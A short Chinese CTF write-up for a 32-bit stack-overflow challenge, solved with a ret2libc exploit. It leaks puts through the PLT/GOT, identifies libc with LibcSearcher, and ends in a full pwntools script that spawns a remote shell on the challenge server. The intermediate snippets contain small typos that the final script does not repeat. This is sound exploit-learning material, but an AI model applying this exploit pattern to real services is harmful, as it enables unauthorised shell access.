checksec一下
32位程序开了nx,ret2shellcode不行了
拖入ida
main函数
查看那个好明显的函数pwnme
可溢出
没有找到后门等
ret2text和ret2syscall都不可以了
我能想到的是ret2libc
本题有puts,所以可以用puts来泄露libc的版本
原因:延时绑定,可以泄露调用过的函数的got地址(具体不太了解)
第一个payload
payload=b'a'*13+p32(puts_plt)+p32(main_addr)+p32(puts_got)
之前的准备:
elf=ELF('./stack1')
puts_plt=elf.plt['puts']
puts_got=efl.got['puts']
main_addr=elf.symbols['main']
偏移量的计算:ida给的是对的
9+4=13
解释为啥payload先plt再main最后got
我的理解:先plt是调用puts函数,main的地址作为返回地址为了下一次的payload发送,got则作为函数的参数,即puts函数的地址。
发送数据后要接受puts的地址
接受之前要
io.recvuntil('32bits\n')
io.recvuntil('\n')
之后接收数据
puts_addr=u32(io.recv(4))
接收四个字节(32位的一个地址长度)
然后获取libc版本
libc=LibcSearcher('puts',puts_addr)
计算基址
libcbase=puts_addr-elf.dump('puts')
算system和/bin/sh
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
最终exp
from pwn import*
from LibcSearcher import*
#io=process('./stack1')
io=remote('pwn.challenge.ctf.show',28190)
elf=ELF('./stack1')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.symbols['main']
payload=b'a'*13+p32(puts_plt)+p32(main_addr)+p32(puts_got)
io.sendline(payload)
io.recvuntil('32bits\n')
io.recvuntil('\n')
puts_addr=u32(io.recv(4))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload=b'a'*13+p32(sys_addr)+b'a'*4+p32(bin_sh)
io.sendline(payload)
io.interactive()
运行后就可以拿到shell啦